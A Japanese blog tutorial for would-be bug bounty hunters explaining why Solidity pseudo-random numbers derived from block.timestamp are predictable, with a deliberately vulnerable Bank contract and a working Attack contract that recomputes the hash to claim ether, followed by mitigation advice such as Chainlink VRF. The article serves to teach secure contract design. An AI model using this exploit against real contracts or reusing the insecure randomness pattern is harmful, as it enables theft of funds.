Hacking Smart Contract Solidity ブロックチェーン

[Solidity-Bug Bounty] 擬似乱数生成の脆弱性を1からわかりやすく解説

かるでね

こんにちは!CryptoGamesというブロックチェーンゲーム企業でエンジニアをしているかるでねです!
スマートコントラクトを書いたり、フロントエンド・バックエンド・インフラと幅広く触れています。

このブログ以外でも情報発信しているので、よければ他の記事も見ていってください。

今回は「擬似乱数」について解説していきます。

Solidityで擬似乱数を生成するときに気をつけないといけない点があります。

この記事では気をつける点を中心に解説しています。

Solidityスキルを1段階あげたい方やバグ・バウンティに参加したいバグハンターを目指している方は必須の知識となるので、この記事で学んでいってください。

バグ・バウンティが何かわからない人は以下の記事を読んでください。

ランダムな値

実はSolidityで完全にランダムな値を生成することはできません。

そもそも乱数とはなんでしょうか?

乱数列(らんすうれつ)とはランダムな数列のこと。 数学的に述べれば、今得られている数列 {\displaystyle x_{1},x_{2},\dots ,x_{n}}から次の数列の値 {\displaystyle x_{n+1}}が予測できない数列。乱数列の各要素を乱数(らんすう)という。もう少し具体的には、漸化式や関数で定義できない数列を構成する数を乱数ということもできる。

https://ja.wikipedia.org/wiki/乱数列

Wikipediaには上記のように書かれていました。

簡単にいうと、「予測できず規則性のない数字」のことを乱数と言います。

Solidityでは、この乱数を生成できないので擬似乱数というものを使用します。

擬似乱数についてもWikipediaから引用してきました。

擬似乱数(ぎじらんすう、pseudorandom numbers)は、乱数列のように見えるが、実際には確定的な計算によって求めている擬似乱数列による乱数。擬似乱数を生成する機器を擬似乱数列生成器、生成アルゴリズムを擬似乱数列生成法と呼ぶ。

真の乱数は本来、規則性も再現性もないものであるため、本来は確定的な計算によって求めることはできない(例:サイコロを振る時、今までに出た目から次に出る目を予測するのは不可能)。一方、擬似乱数は確定的な計算によって作るので、その数列は確定的であるうえ、生成法と内部状態が既知であれば、予測可能でもある。

https://ja.wikipedia.org/wiki/擬似乱数

上記を簡単にまとめると、「一見乱数に見えるが、ある計算手順によって計算することができ予測が可能な値」となります。

Solidityでランダムな値を生成

Solidityでは疑似乱数を使用することは理解できたとおもいます。

ではどのようにして生成しているのか具体例を用いて見ていきましょう。

よく見かけるのが、block.timestampを使用しているものです。

block.timestampとは、現在の時間を取得できるグローバル関数(あらかじめSolidityに組み込まれている関数)です。

以下のような値を取得することができます。

1671676584

このblock.timestampを使用してランダムな値を生成してみましょう。

contract Random {
    uint public timeStamp;

    function getTimestamp() public {
        timeStamp = uint(keccak256(abi.encodePacked(block.timestamp)));
    }
}

上記を実行すると以下のような値を取得できます。

82900602863277076554855795883036762100946382919593605164316023959956869536790

keccak256 とはハッシュ関数で、同じ入力に対して必ず同じ適当な値を返してくれます。

abi.encodePacked は、以下のように文字を連結する時に使用される関数です。

かるでね」 + 「ブログ」→ 「かるでねブログ

今回はblock.timestampしか使用していないですが、以下のように複数の値をカンマ区切りで入れることで連結してくれます。

contract Random {
    uint public timeStamp;

    function getTimestamp() public {
        timeStamp = uint(keccak256(abi.encodePacked(address(this), block.timestamp)));
    }
}

しかし、実はこのblock.timestampを使用して疑似乱数を生成するのは危険なんです。

次の章からなぜ危険なのかを確認していきましょう。

安全でないランダムな値

block.timestampを使用して擬似乱数を生成すると安全だと思いがちですが、実はそんなことないんです。

この章では実際にblock.timestampを使用して安全ではない例をお見せします。

contract Bank {
    uint balance;

    /// @notice 一定量の資金を預ける関数。
    function deposit() public payable {
        balance += msg.value;
    }

    /// @notice 擬似乱数が一致すれば1 ether受け取れる。
    function guess(uint _guess) public payable {
        uint answer = uint(
            keccak256(abi.encodePacked(address(this), block.timestamp))
        );

        if (_guess == answer) {
            balance --;
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

deposit

一定量の資金を預けることができる関数。

guess

擬似乱数を生成したのち、引数で渡された値と一致した場合は報酬として1 etherを送金する。

contract Attack {
    Bank public bank;

    constructor (Bank _bank) {
        bank = Bank(_bank);
    }

    receive() external payable {}

    /// @notice 擬似乱数を生成して資金を引き出す関数。
    function attack() public {
        uint answer = uint(
            keccak256(abi.encodePacked(address(bank), block.timestamp))
        );

        bank.guess(answer);
    }

    /// @notice コントラクトが保持している資金を確認できる関数。
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

attack

擬似乱数を生成し、Baskコントラクトのguess関数を呼び出す。

getBalance

コントラクト内で保持している資金を確認する。

では実行してみましょう。

擬似乱数を予想できてしまい1 etherが送金されてしまっていますね。

block.timestampがほぼ同じタイミングで生成されているため、擬似乱数を予想できてしまっています。

当たり前と言えば当たり前ですが、block.timestampを使用すれば疑似乱数を生成できると思わないように気をつけましょう。

コード

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Bank {
    uint balance;

    /// @notice 一定量の資金を預ける関数。
    function deposit() public payable {
        balance += msg.value;
    }

    /// @notice 擬似乱数が一致すれば1 ether受け取れる。
    function guess(uint _guess) public payable {
        uint answer = uint(
            keccak256(abi.encodePacked(address(this), block.timestamp))
        );

        if (_guess == answer) {
            balance --;
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

contract Attack {
    Bank public bank;

    constructor (Bank _bank) {
        bank = Bank(_bank);
    }

    receive() external payable {}

    /// @notice 擬似乱数を生成して資金を引き出す関数。
    function attack() public {
        uint answer = uint(
            keccak256(abi.encodePacked(address(bank), block.timestamp))
        );

        bank.guess(answer);
    }

    /// @notice コントラクトが保持している資金を確認できる関数。
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

コードは以下を参考にしています。

対処法

擬似乱数を生成する際はblock.timestampを使用しないようにしましょう。

また、擬似乱数を生成したいときは、安全に擬似乱数を生成できるChainlinkVRFなどを使用するようにしましょう。

擬似乱数を生成する際は、予測される危険性をしっかり考える必要がありますね。

最後に

今回はSolidityで「擬似乱数」を生成するときに気をつけるべき点と、block.timestampの危険性について確認してきました。

いかがだったでしょうか?

擬似乱数」の生成とblock.timestampの扱いかたを理解していただけていたら嬉しいです!

もし何か質問などがあれば以下のTwitterなどから連絡ください!

普段はSolidityやブロックチェーン、Web3についての情報発信をしています。

Twiiterでは気になった記事などを共有しているので、ぜひフォローしてくれると嬉しいです!

参考

-Hacking, Smart Contract, Solidity, ブロックチェーン
-, ,